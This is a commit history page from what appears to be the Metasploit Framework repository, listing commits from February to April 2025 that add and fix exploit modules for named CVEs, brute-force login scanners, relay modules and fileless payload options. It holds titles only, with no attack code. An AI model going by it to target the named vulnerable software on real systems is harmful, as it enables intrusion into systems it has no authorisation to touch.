Compare commits

..

286 Commits

Author SHA1 Message Date
jenkins-metasploit b132e3bbbe automatic module_metadata_base.json update 2025-04-02 21:27:31 +00:00
jheysel-r7 d16eeab32c Merge pull request #19995 from chutton-r7/cve-2025-24813
Module for CVE-2025-24813
2025-04-02 14:20:52 -07:00
Jack Heysel b85faf9440 Update documentation 2025-04-02 14:10:46 -07:00
Jack Heysel 3fa7fe68a1 Consolidated Platform check 2025-04-02 13:57:56 -07:00
Jack Heysel c32a34112f Updated register_file_for_clean to account for windows 2025-04-02 13:52:04 -07:00
Jack Heysel 6816589378 Added FileDropper for cleanup 2025-04-02 13:37:39 -07:00
Jack Heysel fefb954827 Correct Tomcat version listed in Scenarios section 2025-04-02 13:02:26 -07:00
Jack Heysel 4058173a1c Correct spelling 2025-04-02 12:57:20 -07:00
Jack Heysel 8cd0449550 Responded to comments 2025-04-02 12:50:26 -07:00
Jack Heysel 1e58d419f6 Updated docs, added Setup steps 2025-04-02 12:03:21 -07:00
jenkins-metasploit 6bee281ffc automatic module_metadata_base.json update 2025-04-02 16:32:19 +00:00
adfoster-r7 eac7a183f5 Merge pull request #19998 from sjanusz-r7/fix-rinda-error
Fix Rinda msfcrawler error
2025-04-02 17:25:41 +01:00
jheysel-r7 1fc95162e0 Merge pull request #19736 from cdelafuente-r7/enh/pkcs12/add_metadata
Report CA, ADCS Template and Password along with Pkcs12 in the database
2025-04-02 09:07:25 -07:00
sjanusz-r7 d1124c44f5 Fix Rinda msfcrawler error 2025-04-02 16:34:34 +01:00
Christophe De La Fuente 41f25a9fd7 Update Gemfile and Gemfile.lock to bring new gems in
- metasploit-credential 6.0.14
- metasploit_data_models 6.0.9
2025-04-02 14:55:33 +02:00
chutton-r7 917aaeb027 Add module docs 2025-04-02 10:22:01 +01:00
chutton-r7 63a86109f6 Better error handling, set default Python Meterpreter (seems most reliable). Fix switch 2025-04-02 10:04:33 +01:00
Christophe De La Fuente 2122993285 Update Gemfile to bring in metasploit-model new gem
- Also rebase to master
2025-04-01 19:12:43 +02:00
Christophe De La Fuente 7f8a762922 Update ms_icpr and creds to reflect the changes in the Pkcs12 data model
- a separate field is now used for metadata (`private_metadata`) when
  creating a new Pkcs12
- the `creds` command now support adding an encrypted Pkcs12 with a password
2025-04-01 19:12:41 +02:00
Christophe De La Fuente 6802e83d24 Update Gemfile to use https 2025-04-01 19:09:45 +02:00
Christophe De La Fuente 844b433099 Point Gemfile to the metasploit-credentials feature branch on cdelafuente-r7 repo 2025-04-01 19:09:40 +02:00
Christophe De La Fuente 865626fbd2 Update Pkcs12-related code to report CA and ADCS Template to the database
- Update the `creds` command to add Pkcs12 private credentials with
  metadata.
- Update `ms_icpr` module to store metadata.
2025-04-01 19:07:48 +02:00
chutton-r7 e1310f4f89 Simplify logic 2025-04-01 15:50:23 +01:00
chutton-r7 b77489587a Remove CmdStager, add version tested, credit 2025-04-01 15:15:30 +01:00
chutton-r7 c34c627e18 Support Linux, clean DefaultOptions 2025-04-01 15:05:56 +01:00
Diego Ledda 0f4c73b978 Land #19979, Add guidelines for expedited module creation
Land #19979, Add guidelines for expedited module creation
2025-04-01 11:47:46 +02:00
jenkins-metasploit aef5b5b3ac automatic module_metadata_base.json update 2025-04-01 01:49:54 +00:00
jheysel-r7 ccb0c1a320 Merge pull request #19993 from h00die-gr3y/cmd-enc-base64
BUGFIX: cmd encoder base64
2025-03-31 18:42:31 -07:00
jenkins-metasploit a4297329d7 automatic module_metadata_base.json update 2025-03-31 17:30:11 +00:00
jheysel-r7 33e3a0bd09 Merge pull request #19984 from zeroSteiner/feat/lib/adcs-mm-updates/2
Feat/lib/adcs mm updates/2
2025-03-31 10:23:10 -07:00
bwatters-r7 29084094b7 Add AI don't 2025-03-31 10:21:18 -05:00
h00die-gr3y 9a60caf36d added comment with explanation 2025-03-31 09:36:01 +00:00
h00die-gr3y dde6bdc211 bug fix cmd encoder base64 2025-03-30 11:11:00 +00:00
jheysel-r7 53394fb983 Merge pull request #19986 from sjanusz-r7/add-teamcity-login-scanner-test
Add TeamCity Login Scanner spec test
2025-03-28 13:12:52 -07:00
jenkins-metasploit 5a1e4186e7 automatic module_metadata_base.json update 2025-03-28 18:19:12 +00:00
jheysel-r7 e841a45db2 Merge pull request #19985 from sjanusz-r7/add-pfsense-login-scanner
Add pfSense Login Scanner module
2025-03-28 11:12:43 -07:00
jheysel-r7 f0febba48a Merge pull request #19991 from zeroSteiner/feat/lib/more-bf-tests
Add some more LoginScanner tests
2025-03-28 11:06:00 -07:00
jheysel-r7 e506bac282 Update lib/metasploit/framework/login_scanner/pfsense.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-03-28 11:00:52 -07:00
sjanusz-r7 9865ecc785 Address pfSense Login Scanner feedback 2025-03-28 17:35:10 +00:00
sjanusz-r7 fdd3234c90 Explicitly register SSL option as true, add proof logging to pfSense Login 2025-03-28 15:42:37 +00:00
Spencer McIntyre 7f01048b11 Add some more LoginScanner tests 2025-03-28 10:56:12 -04:00
jenkins-metasploit cc4dad3b10 automatic module_metadata_base.json update 2025-03-28 14:47:14 +00:00
jheysel-r7 5505bb5ef1 Merge pull request #19947 from machang-r7/machang-r7-module-cve-2025-27218
Create sitecore_xp_cve_2025_27218.rb
2025-03-28 07:40:28 -07:00
Diego Ledda 21b441e20a Land #19943, Fetch payload run fileless ELF with python
Land #19943, Fetch payload run fileless ELF with python
2025-03-28 14:28:00 +01:00
sjanusz-r7 b5ef4cdd6f Add pfSense login scanner docs 2025-03-28 11:35:56 +00:00
jenkins-metasploit 6838a0e73a automatic module_metadata_base.json update 2025-03-28 11:31:37 +00:00
Diego Ledda 985cea3278 Land #19980, Add CMSMadeSimple (CMSMS) File Manager Auth RCE (CVE-2023-36969)
Land #19980, Add CMSMadeSimple (CMSMS) File Manager Auth RCE (CVE-2023-36969)
2025-03-28 12:24:30 +01:00
jenkins-metasploit f7bb3d68ea automatic module_metadata_base.json update 2025-03-27 23:59:06 +00:00
jheysel-r7 08e227faca Merge pull request #19934 from sfewer-r7/bugfix-cisco-iosxe-rce
Improve exploit/linux/misc/cisco_ios_xe_rce (CVE-2023-20198 + CVE-2023-20273)
2025-03-27 16:51:16 -07:00
jenkins-metasploit 80fec5ea5a automatic module_metadata_base.json update 2025-03-27 20:33:32 +00:00
Spencer McIntyre 81215645f4 Merge pull request #19606 from cgranleese-r7/rename-ldap-datastore-values
Renames LDAP datastore options
2025-03-27 16:26:54 -04:00
Spencer McIntyre 468f168f04 Call LDAP whoami when the username is not present 2025-03-27 15:00:53 -04:00
Jack Heysel fa0c29837e Update author, rubocop, msftidy_docs 2025-03-27 09:36:10 -07:00
Jack Heysel 74cc1d313c Add documentation 2025-03-27 09:28:44 -07:00
Jack Heysel d54e8d8749 Add check method that returns Detected 2025-03-27 09:28:28 -07:00
tastyrce 8479350b3e Update documentation
Co-authored-by: cgranleese-r7 <69522014+cgranleese-r7@users.noreply.github.com>
2025-03-28 03:17:47 +11:00
tastyrce 43c929d56e Update checking for authentication
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-03-27 22:13:04 +11:00
tastyrce 8423d6ff87 Update removal of default page while installation
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-03-27 22:11:21 +11:00
tastyrce 9bdff3e803 Add extra dependencies during installation
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-03-27 22:10:32 +11:00
Metasploit a19329454b Bump version of framework to 6.4.56 2025-03-27 03:33:03 -05:00
tastyrce 10ea4f7f9f use keep_cookies to store cookies 2025-03-27 03:22:11 -04:00
tastyrce e62038cfe5 improve version parsing 2025-03-27 02:01:03 -04:00
tastyrce cbfcc5bd13 add condition for http code 2025-03-27 00:40:13 -04:00
tastyrce f1175420f8 remove get and post wrappers 2025-03-27 00:37:40 -04:00
jenkins-metasploit f554cb7f86 automatic module_metadata_base.json update 2025-03-26 22:12:45 +00:00
jheysel-r7 26869588db Merge pull request #19987 from zeroSteiner/fix/mod/ivanti-login
Update the Ivanti and Sonicwall Bruteforce modules
2025-03-26 15:06:10 -07:00
Spencer McIntyre b1eed8e0ca Add sonicwall login connection error handling 2025-03-26 17:57:38 -04:00
Spencer McIntyre 44f79f5622 Copy the session's workspace for reporting 2025-03-26 17:47:21 -04:00
Spencer McIntyre 30d071e098 Make the same changes for sonicwall 2025-03-26 17:25:13 -04:00
Spencer McIntyre 7476ea9006 Brute force modules should be named service_login 2025-03-26 16:14:16 -04:00
Spencer McIntyre 72c3ebec53 This #initialize method must take one argument 2025-03-26 16:14:06 -04:00
Spencer McIntyre 83963d19b5 Set the workspace when reporting 2025-03-26 14:53:04 -04:00
sjanusz-r7 a6d0401bfa Add TeamCity Login Scanner spec test 2025-03-26 16:55:45 +00:00
sjanusz-r7 3b4db23b8e Add pfSense Login Scanner module 2025-03-26 14:25:59 +00:00
Jack Heysel 24a785d6b0 Target and metadata updates 2025-03-25 11:56:15 -07:00
jenkins-metasploit be7715db9d automatic module_metadata_base.json update 2025-03-25 18:52:31 +00:00
Diego Ledda 9c42bdd103 Land #19974, GLPI Inventory Plugin Unauth Blind Boolean SQLi (CVE-2025-24799)
Land #19974, GLPI Inventory Plugin Unauth Blind Boolean SQLi (CVE-2025-24799)
2025-03-25 19:45:54 +01:00
Jack Heysel abeeb091fd Rubocop 2025-03-25 11:18:48 -07:00
jenkins-metasploit 0c87c6b3e0 automatic module_metadata_base.json update 2025-03-25 18:01:43 +00:00
Spencer McIntyre bf1f919d9f Merge pull request #19957 from msutovsky-r7/auxmodule-eramba-update
Auxmodule eramba update
2025-03-25 13:54:24 -04:00
cgranleese-r7 d38dd96861 Renames LDAP datastore options 2025-03-25 17:07:25 +00:00
tastyrce 162e73a62e add module documentation 2025-03-22 04:57:38 -04:00
tastyrce e70c8aa921 RuboCop Fixes 2025-03-22 02:37:41 -04:00
tastyrce d0bd559602 add cmsms exploit module 2025-03-22 02:35:27 -04:00
bwatters-r7 9780732471 Add guidelines for expeditied module creation 2025-03-21 18:23:46 -05:00
Spencer McIntyre 02e3a55570 Catch additional exceptions for failures 2025-03-21 12:02:23 -04:00
Spencer McIntyre 389e8af223 Add additional common SIDs 2025-03-21 10:01:04 -04:00
jenkins-metasploit 3f1422c9ac automatic module_metadata_base.json update 2025-03-20 20:52:56 +00:00
msutovsky-r7 c7c0047ea2 Land #19802, module for CVE-2024-30085
Working Draft for cve-2024-30085
2025-03-20 21:46:26 +01:00
Jack Heysel cde6034614 Account for all vulnerable version DB schemas 2025-03-20 13:09:17 -07:00
Martin Sutovsky 95f9e22eff Addressing comments 2025-03-20 20:46:38 +01:00
Martin Sutovsky d922976ea4 Adding more clear installation steps 2025-03-20 19:54:57 +01:00
chutton-r7 c003c3d630 Advanced check method 2025-03-20 18:19:14 +00:00
jenkins-metasploit 19c7cf04e0 automatic module_metadata_base.json update 2025-03-20 17:51:02 +00:00
chutton-r7 54a8717c2d Basic check method 2025-03-20 17:50:21 +00:00
Spencer McIntyre 1bf81d9539 Merge pull request #19962 from e2002e/master
ZoomEye module API-host update
2025-03-20 13:44:26 -04:00
e2002e 584d7dad35 fix resolvable() 2025-03-20 16:26:33 +01:00
e2002e d16c3e93ba Merge https://github.com/rapid7/metasploit-framework 2025-03-20 16:25:13 +01:00
e2002e 4be6f49f6d use a variable for the domain; use .present? for resolvable 2025-03-20 16:23:09 +01:00
Martin Sutovsky df027f3fdd Update documentation, adding more precise check, removing unnecessary characters 2025-03-20 15:18:55 +01:00
bwatters-r7 ec67435de9 Rebase and squash for CVE-2024-30085 2025-03-20 09:03:28 -05:00
Jack Heysel 86fec44853 Respond to comments, update reliability 2025-03-20 06:41:46 -07:00
cgranleese-r7 7b5b57a392 Land #19973, Update the project license year 2025-03-20 12:44:34 +00:00
jenkins-metasploit c758a48baa automatic module_metadata_base.json update 2025-03-20 11:26:47 +00:00
cgranleese-r7 4764ebbe39 Land #19932, Fix crash when running mssql payload against sessions 2025-03-20 11:20:06 +00:00
Metasploit f4241856b9 Bump version of framework to 6.4.55 2025-03-20 03:33:05 -05:00
Jack Heysel e3d9561be1 GLPI Inventory Plugin Unauthenticated Blind Boolean SQLi (CVE-2025-24799) 2025-03-19 12:50:40 -07:00
chutton-r7 df8c0b465e Simplified targets, confirmed working with CommonsCollections6 2025-03-19 18:02:11 +00:00
Spencer McIntyre 2e842179b7 Merge pull request #19757 from smashery/cms_refactor
Refactor Cms ASN.1 definitions
2025-03-19 13:38:34 -04:00
Spencer McIntyre 994c09a43b Update license years, remove redundant licenses 2025-03-19 11:21:31 -04:00
chutton-r7 20e51b44bc Initial commit 2025-03-19 13:52:45 +00:00
jenkins-metasploit 50edfae989 automatic module_metadata_base.json update 2025-03-17 16:20:54 +00:00
Brendan 413c1931f7 Merge pull request #19832 from cdelafuente-r7/mod/relay/smb_to_ldap
SMB to LDAP relay module
2025-03-17 11:14:24 -05:00
jenkins-metasploit b51b29959d automatic module_metadata_base.json update 2025-03-17 15:56:53 +00:00
adfoster-r7 9917f574c0 Merge pull request #19913 from h00die/hash_validator
hash_cracker_validator script to verify hash cracking
2025-03-17 15:50:07 +00:00
msutovsky-r7 902fd656cb Merge pull request #19967 from adfoster-r7/update-docs-dependencies
Update docs dependencies
2025-03-17 14:57:27 +01:00
adfoster-r7 70e7d980ef Update docs dependencies 2025-03-17 13:44:29 +00:00
jenkins-metasploit 58adf02b0c automatic module_metadata_base.json update 2025-03-17 09:20:12 +00:00
msutovsky-r7 e484855c05 Land #19960, adding more robust check for CVE-2024-30038
Fix check method for Windows Kernel Time of Check Time of Use LPE (CVE-2024-30038)
2025-03-17 10:13:14 +01:00
e2002e 7bbd6406e7 use new domain name. 2025-03-15 03:18:44 +01:00
Christophe De La Fuente 5305e04891 Add a check for the LDAP session feature 2025-03-14 15:28:39 +01:00
Christophe De La Fuente f8760a9e3b Update from code review 2025-03-14 15:28:39 +01:00
Christophe De La Fuente d4fd890fed Add the smb_to_ldap relay module and documentation 2025-03-14 15:28:39 +01:00
e2002e 5e24b8448d Merge https://github.com/rapid7/metasploit-framework 2025-03-14 15:22:59 +01:00
e2002e d982678154 update info 2025-03-14 13:20:32 +01:00
jenkins-metasploit ef79506bcc automatic module_metadata_base.json update 2025-03-14 10:22:59 +00:00
msutovsky-r7 741a222e9a Land #19961, fixing incorrect URL in the InvoiceNinja module
BUGFIX invoiceninja module - fixed invalid attackerkb reference
2025-03-14 11:15:23 +01:00
Metasploit 76289d9691 Bump version of framework to 6.4.54 2025-03-14 05:12:11 -05:00
jenkins-metasploit c382de881b automatic module_metadata_base.json update 2025-03-14 09:28:15 +00:00
msutovsky-r7 9961bfbc58 Land #19950, module for InvoiceShelf unauthenticated PHP deserialization
InvoiceShelf unauthenticated PHP deserialization vulnerability [CVE-2024-55556]
2025-03-14 10:21:56 +01:00
h00die-gr3y 84012fd60c fixed invalid attackerkb reference 2025-03-14 08:23:10 +00:00
h00die-gr3y 0ca2599f48 update based on review comments 2025-03-14 08:04:22 +00:00
Ashley Donaldson d47ec03ca7 Refactor CMS data structures used in pkinit functionality 2025-03-14 10:42:32 +11:00
Jack Heysel cf08a4e533 Readd missing checks 2025-03-13 13:14:13 -07:00
Jack Heysel 82f07c171b Fix check method 2025-03-13 13:00:24 -07:00
adfoster-r7 a1093b093a Merge pull request #19959 from dwelch-r7/enable-longpaths
Enable longpaths
2025-03-13 15:10:53 +00:00
Dean Welch 557b2c70c6 Enable longpaths on windows github actions runners 2025-03-13 15:00:39 +00:00
Martin Sutovsky cac9b6e26b Removing auxiliary module 2025-03-13 12:36:15 +01:00
Martin Sutovsky 9886f78575 Upgrade Eramba RCE module 2025-03-13 12:34:50 +01:00
cgranleese-r7 b228e3bf87 Land #19956, Routine dependency updates 2025-03-13 10:33:04 +00:00
sfewer-r7 4c5137846c call fail_with upon failure rather than passing around Failure's as variables. 2025-03-13 09:41:58 +00:00
Stefan Pietsch 538cdc1d6f remove Rank, fix title 2025-03-13 08:26:34 +01:00
Stefan Pietsch 5bb5b40eee Add Eramba Remote Code Execution Exploit 2025-03-13 08:26:34 +01:00
jenkins-metasploit a5edf5bbd1 automatic module_metadata_base.json update 2025-03-13 00:13:56 +00:00
jenkins-metasploit 7603b5d2d4 automatic module_metadata_base.json update 2025-03-12 21:37:04 +00:00
Brendan 661ac23d72 Merge pull request #19955 from zeroSteiner/feat/lib/adcs-mm-updates/1
Vulnerability reporting updates for ESC flaws
2025-03-12 16:30:29 -05:00
Spencer McIntyre f3d644cd84 Use real SiteReference instances
This fixes an issue in how the vulnerabilities are reported
2025-03-12 16:26:54 -04:00
h00die-gr3y 1ca57c86fc added base64 encoding in php payload execution 2025-03-11 21:30:32 +00:00
h00die-gr3y e341398871 small update on module and documentation 2025-03-10 19:35:37 +00:00
H00die.Gr3y 44bdc5b44f Update documentation/modules/exploit/linux/http/invoiceshelf_unauth_rce_cve_2024_55556.md
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-03-10 19:29:12 +01:00
Martin Sutovsky ae8591f2a3 More clear specification of Python version 2025-03-10 15:51:56 +01:00
h00die-gr3y 281b728000 initial module and documentation 2025-03-07 17:34:22 +00:00
adfoster-r7 992b01b394 Merge pull request #19937 from fabpiaf/patch-1
include ERB::Util for html_escape
2025-03-07 14:01:09 +00:00
jenkins-metasploit da00168057 automatic module_metadata_base.json update 2025-03-07 13:42:34 +00:00
msutovsky-r7 196d95b2bf Land #19944, adding dynamic session for module CVE-2025-0655
Update dtale_rce_cve_2025_0655.rb to use dynamically generated session
2025-03-07 14:35:51 +01:00
Martin Sutovsky 426d74be68 Changing options to enumeration, removing whitespaces 2025-03-07 13:39:12 +01:00
Takah1ro edb47d968c Update function name after applied suggestion 2025-03-07 08:05:00 +09:00
Takahiro Yokoyama 233c710d82 Update modules/exploits/linux/http/dtale_rce_cve_2025_0655.rb
Co-authored-by: Simon Janusz <85949464+sjanusz-r7@users.noreply.github.com>
2025-03-07 07:54:50 +09:00
Metasploit 787205e69b Bump version of framework to 6.4.53 2025-03-06 03:33:08 -06:00
Martin Sutovsky 35afdb0033 Add more explanatory description 2025-03-06 09:07:44 +01:00
machang-r7 a0ca1b10af Create sitecore_xp_cve_2025_27218.rb 2025-03-05 17:54:54 -05:00
jheysel-r7 c3ffdb12f5 Merge pull request #19946 from zeroSteiner/feat/mod/relay/ms08-068-warning
Add a warning for MS08-068 when applicable
2025-03-05 11:11:20 -08:00
jenkins-metasploit ef638ae104 automatic module_metadata_base.json update 2025-03-05 19:05:21 +00:00
jheysel-r7 37e92f76f3 Merge pull request #19639 from zeroSteiner/feat/mod/relay/checks
Support checks in relay modules
2025-03-05 10:58:34 -08:00
Spencer McIntyre f6c8b98bd6 Finish up the ESC8 check after more research 2025-03-05 13:44:33 -05:00
Spencer McIntyre 04842eaaee Add a check method to the smb_relay module 2025-03-05 13:44:33 -05:00
Spencer McIntyre 4422cb53eb Update target_host information 2025-03-05 13:44:33 -05:00
Spencer McIntyre 4004c1f215 Add #signing_required to SMB::SimpleClient 2025-03-05 13:44:33 -05:00
Spencer McIntyre 0116d0c04b Actually count the hosts
RangeWalker handles many more formats for specifying multiple hosts, so
simply checking for a space is insufficient.
2025-03-05 13:44:33 -05:00
Spencer McIntyre b43dc8be08 Switch relay modules, add ESC8 check method 2025-03-05 13:44:33 -05:00
Spencer McIntyre 5e3953e53e Add a new mixin for handling multiple targets 2025-03-05 13:44:33 -05:00
Spencer McIntyre 7950d866f3 Use the existing #validate method for options 2025-03-05 13:44:33 -05:00
Spencer McIntyre dbce82416c Add a warning for MS08-068 when applicable 2025-03-05 13:31:26 -05:00
adfoster-r7 95e8b31d4b Merge pull request #19925 from zeroSteiner/fix/auxiliary/validate
Call #validate in run_simple like it is in call_simple
2025-03-05 18:29:01 +00:00
Diego Ledda 03b90701cd Land #19927, get_sysinfo add support for several Linux distros
Land #19927, get_sysinfo add support for several Linux distros
2025-03-05 18:35:24 +01:00
jenkins-metasploit 03277a486f automatic module_metadata_base.json update 2025-03-05 17:34:06 +00:00
Diego Ledda c698979dd3 Land #19935, SonicWall NSv HTTP Login Module
Land #19935, SonicWall NSv HTTP Login Module
2025-03-05 18:27:34 +01:00
jenkins-metasploit c62f04109b automatic module_metadata_base.json update 2025-03-05 17:03:34 +00:00
adfoster-r7 8604c72ef4 Merge pull request #19895 from cgranleese-r7/update-dead-module-references
Update dead module references
2025-03-05 16:57:05 +00:00
adfoster-r7 8102bed3b7 Merge pull request #19896 from cgranleese-r7/adds-scripts-for-dead-module-references
Adds scripts to handle dead module reference links
2025-03-05 16:54:00 +00:00
Martin Sutovsky 1bea1baba0 Addressing comments in PR 2025-03-05 14:02:31 +01:00
Martin Sutovsky 531fbd3abe Specifying Python version 2025-03-05 13:34:16 +01:00
Martin Sutovsky 114ab6006b Adding Python3 option for fileless ELF execution 2025-03-05 13:32:59 +01:00
fabpiaf 58fbf9e924 Update server.rb 2025-03-05 10:23:01 +00:00
msutovsky-r7 7a1892e6e7 Land #19745, applying argument escaping to other shells
Apply escaping args to other command shells
2025-03-05 09:24:15 +01:00
Ashley Donaldson fa4dd1d420 Add error handling on unknown shell type 2025-03-05 18:16:31 +11:00
Takah1ro bf5ae87a3d Use dynamically generated session 2025-03-05 12:56:01 +09:00
Spencer McIntyre 2422f8b67b Add specs to test the #validate method 2025-03-04 17:49:15 -05:00
Spencer McIntyre f2bcf34d51 Apply the same refactoring to exploits 2025-03-04 17:01:46 -05:00
Spencer McIntyre f12ddc7252 Apply the same refactoring to posts 2025-03-04 17:01:46 -05:00
Spencer McIntyre f2e29a326e Remove dead code that shouldn't get hit anymore 2025-03-04 13:05:56 -05:00
Spencer McIntyre 112b8f5ece Call #validate before walking the rhosts 2025-03-04 13:05:56 -05:00
Spencer McIntyre 8d3d8d8662 Call #validate in run_simple like it is in call_simple 2025-03-04 13:05:56 -05:00
Spencer McIntyre d626886250 Merge pull request #19940 from adfoster-r7/update-ubuntu-versions-for-github-actions
Update ubuntu versions for Github actions
2025-03-04 13:03:59 -05:00
adfoster-r7 91f1db308d Update ubuntu versions for github actions 2025-03-04 17:52:31 +00:00
Diego Ledda 54465f30f2 Land #19917, Add NIST SP 800 Crypto Primitives
Land #19917, Add NIST SP 800 Crypto Primitives
2025-03-04 17:50:01 +01:00
fabpiaf daf5e1cfeb include ERB::Util for html_escape 2025-03-04 12:49:22 +00:00
sfewer-r7 2f5758b8ed improve the logic here 2025-03-04 09:22:11 +00:00
sfewer-r7 efb0d5da4c fix typo, C1000v should be CSR1000v. Be consistant with IOS XE and not IOS-XE. 2025-03-04 09:09:32 +00:00
Martin Sutovsky 8d7bbdd84f Sonicwall module 2025-03-04 08:20:22 +01:00
jenkins-metasploit 59b862ce35 automatic module_metadata_base.json update 2025-03-03 21:57:03 +00:00
jheysel-r7 b1d0eedc26 Merge pull request #19712 from smashery/naa_creds
NAA creds from SCCM
2025-03-03 13:50:31 -08:00
sfewer-r7 94606036bd typos in comments 2025-03-03 20:45:37 +00:00
sfewer-r7 edd36a8182 update the docs for exploit/linux/misc/cisco_ios_xe_rce after retesting the changes 2025-03-03 20:39:53 +00:00
sfewer-r7 9c075c7cce Previously the check routine only leveraged the first vuln in the chain, CVE-2023-20198, to perform a version based check. However the second vuln in the chain, CVE-2023-20273, was not verified as to working, so a return code of CheckCode::Vulnerable may no have been acurate if the target was vulnerable to CVE-2023-20198 but not CVE-2023-20273. Now we leverage both CVE-2023-20198 and CVE-2023-20273 to ensure the target is actually vulnerable. For example, it has been observed that the C8000v series appliance version 17.6.5 is vulnerable to CVE-2023-20198, but not vulnerable to CVE-2023-20273, even though the IOS-XE version indicates they should be vulnerable to CVE-2023-20273. As this exploit chains both CVE-2023-20198 and CVE-2023-20273 together, the check routine must verify both CVEs work as expected in order to return CheckCode::Vulnerable (i.e. we cannot solely rely on a version based check via CVE-2023-20198). 2025-03-03 20:29:20 +00:00
sfewer-r7 4a38605576 bugfix the check routine, to get a suitable response from a targets webui path, we must have the trailing slash (seen in a C8000v target, verified to work in both C8000v and C1000v targets) 2025-03-03 20:25:31 +00:00
sfewer-r7 45dfa5fda9 update docs for auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198 to show it working on C1000v and C8000v targets. 2025-03-03 20:23:55 +00:00
sfewer-r7 e71a851e3f mention that the C8000v series appliance version 17.6.5 was observed to not be vulnerable to CVE-2023-20273. Inspecting the Lua code shows this appliance has additional command injection filtering in place (see pexec_setsid in /usr/binos/openresty/nginx/conf/pexec.lua) which prevents the injection from working 2025-03-03 20:22:46 +00:00
sfewer-r7 60a496eec9 bugfix the URI to work as expected for both HTTP and HTTPS, also some appliences (C8000v) need the _http portion of this URI path to be cchanges from all lowercase for CVE-2023-20198 to work as expected. 2025-03-03 20:20:26 +00:00
adfoster-r7 b0fec4ebd7 Merge pull request #19933 from zeroSteiner/feat/enable-ldap-sessions
Enable LDAP sessions by default
2025-03-03 20:20:11 +00:00
Jack Heysel 4d57710d92 Make timeout configurable and nil check content 2025-03-03 11:47:10 -08:00
Spencer McIntyre b94418a863 Enable LDAP sessions by default 2025-03-03 14:37:49 -05:00
adfoster-r7 eef2e4c26c Merge pull request #19918 from msutovsky-r7/feat/separate_class_http_digest_auth
Moving HTTP Digest Authentication response moved into separa…
2025-03-03 19:26:38 +00:00
adfoster-r7 2f958c21af Fix crash when running mssql payload against sessions 2025-03-03 19:20:56 +00:00
adfoster-r7 60e9cae636 Merge pull request #19926 from jheysel-r7/gem_bump_for_get_naa_module
Gem bump for new get_naa_credentials module
2025-03-03 18:40:35 +00:00
adfoster-r7 b1b8ad376e Merge pull request #19922 from cgranleese-r7/fixes-crash-when-searching-modules-by-target
Fixes crash when searching by target
2025-03-03 16:03:59 +00:00
jenkins-metasploit c9421a65cc automatic module_metadata_base.json update 2025-03-03 12:12:04 +00:00
msutovsky-r7 3c4d0aae2f Land #19899, D-Tale remote code execution module
Add D-Tale RCE module (CVE-2024-3408, CVE-2025-0655)
2025-03-03 13:04:45 +01:00
Takah1ro 47351e4959 Use FETCH_DELETE as default 2025-03-03 20:52:55 +09:00
Martin Sutovsky 94fcda9eb6 Removing unnecessary function 2025-03-03 08:18:54 +01:00
Takah1ro 65d2b6380b Update vulnerable version 2025-03-02 12:14:25 +09:00
bcoles 5cc5563625 Msf::Post:Linux::System.get_sysinfo: Add support for several Linux distros 2025-03-01 17:09:31 +11:00
Takah1ro 77c3ce52e0 Improve:
* Support the prior to 3.13.0 versions
* CVE-2024-3408 bypass for authentication
2025-03-01 11:58:28 +09:00
Takah1ro 316ecd4d04 Use FETCH_FILELESS as default 2025-03-01 11:55:43 +09:00
Jack Heysel ee89d10886 Gem bump for get_naa_creds module 2025-02-28 18:12:56 -08:00
cgranleese-r7 7a5ff2a360 Adds tests for nil scenarios 2025-02-28 15:01:28 +00:00
cgranleese-r7 57e3045b57 Fixes crash when searching modules by target 2025-02-28 13:51:22 +00:00
jenkins-metasploit 8ac44d55cd automatic module_metadata_base.json update 2025-02-28 12:59:37 +00:00
Spencer McIntyre b4ca537785 Merge pull request #19920 from jheysel-r7/docs/vuln_cert_finder_update
Add docs for ESC4,13 and 15 vulnerable template configuration
2025-02-28 07:49:27 -05:00
Spencer McIntyre b3602b2ade Merge pull request #19919 from jheysel-r7/fix/nil_check/esc_cert_finder
Ldap vulnerable cert finder minor fix for ESC13 detection
2025-02-28 07:46:06 -05:00
h00die df9efe382d fix rubocop issues with apply_pot 2025-02-28 11:34:09 +00:00
cgranleese-r7 df8b0de0c8 Fixes some invalid links 2025-02-28 11:29:59 +00:00
h00die 258b8aaea2 update apply_pot to handle more hash types 2025-02-28 11:27:22 +00:00
cgranleese-r7 0017fbdf56 Updates more dead links 2025-02-28 10:30:14 +00:00
cgranleese-r7 acd692e139 Adds two scripts to handle dead module reference links 2025-02-28 09:52:42 +00:00
cgranleese-r7 810e7c4518 Adds scripts to find and replace dead module reference links 2025-02-28 09:20:48 +00:00
Jack Heysel d2dd9a6d8f Add docs for ESC4,13 and 15 vulnerable template configuration 2025-02-27 22:54:24 -08:00
Jack Heysel 62b8ded001 Vuln cert finder minor fix plus doc update 2025-02-27 22:42:27 -08:00
Martin Sutovsky 149c442d70 Moving HTTP Digest Authentication response counting moved into separate class, rubocop-ing 2025-02-28 07:34:33 +01:00
msutovsky-r7 36b13f5be7 Land #19862, updating Linux post library - additional comments, specs and new package module
Linux post libs comments and specs
2025-02-28 06:54:44 +01:00
h00die db76de2401 update hash cracking tests 2025-02-27 19:23:02 +00:00
Spencer McIntyre 2fd05115c8 Add some basic NIST SP 800 108 specs 2025-02-27 13:33:59 -05:00
Spencer McIntyre 11818c2812 Switch to using Rex's Crypto module 2025-02-27 10:52:09 -05:00
h00die b8429cb3e8 Update lib/msf/core/post/linux/packages.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2025-02-27 09:25:46 -05:00
h00die 97adc2755d hash_cracker_validator upload 2025-02-26 19:11:55 -05:00
Spencer McIntyre e159ea5300 Add the NIST SP 800 108 key derivation function 2025-02-26 18:09:36 -05:00
Spencer McIntyre c9afd440f8 Add the NIST SP 800 38f key wrap function 2025-02-26 18:09:23 -05:00
h00die 29cb4416ed remove solaris check since its in freebsd code branch 2025-02-26 18:52:50 +00:00
h00die d9c2ed82fd merge freebsd and solaris for packages lib 2025-02-26 18:21:10 +00:00
Takah1ro 40726d1859 Remove unnecessary & guard operator 2025-02-26 21:13:55 +09:00
Takah1ro 4d4b88c94e Add D-Tale unauth RCE module (CVE-2025-0655) 2025-02-23 09:33:42 +09:00
h00die df8ad37dde Remove comment 2025-02-20 12:43:52 +00:00
